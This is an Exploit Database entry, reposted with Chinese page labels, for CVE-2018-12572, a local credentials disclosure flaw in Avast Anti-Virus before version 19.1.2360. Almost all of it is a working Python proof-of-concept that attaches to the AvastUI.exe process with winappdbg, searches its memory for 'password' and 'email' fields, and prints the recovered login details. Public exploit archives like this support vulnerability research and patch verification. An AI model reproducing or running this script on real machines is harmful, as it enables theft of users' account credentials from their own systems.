Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure

• Exploit Database
• 104 阅读

• 作者： Nathu Nandwani
  日期： 2019-02-11
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46345/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50

  # Exploit Title: Avast Anti-Virus Local Credentials Disclosure < 19.1.2360 # Date: 01/18/2019 # Exploit Author: Nathu Nandwani # Website: http://nandtech.co/ # Version: before 19.1.2360 (build 19.1.4142.0) # Tested on: Windows 10 x64 # CVE: CVE-2018-12572 # Based on LiquidWorm&apos;s and Yakir Wizman&apos;s proof of concepts   from winappdbg import Debug, Process   debug = Debug() processname = "AvastUI.exe" pid = 0 mem_contents = []   email = "" password = ""   try: debug.system.scan_processes() for (process, process_name) in debug.system.find_processes_by_filename(processname): pid = process.get_pid() if pid is not 0: print ("AvastUI PID: " + str(pid)) process = Process(pid) for i in process.search_regexp(&apos;"password":"&apos;): mem_contents.append(process.read(i[0], 200)) print "Dump: " print process.read(i[0], 200) for i in mem_contents: password = i.split(",")[0] for i in process.search_regexp(&apos;"email":"&apos;): mem_contents.append(process.read(i[0], 200)) print "Dump: " print process.read(i[0], 200) for i in mem_contents: email = i.split(",")[0] if email != "" and password != "": print "" print "Found Credentials from Memory!" print email print password else: print "No credentials found!" else: print "Avast not running!" finally: debug.stop()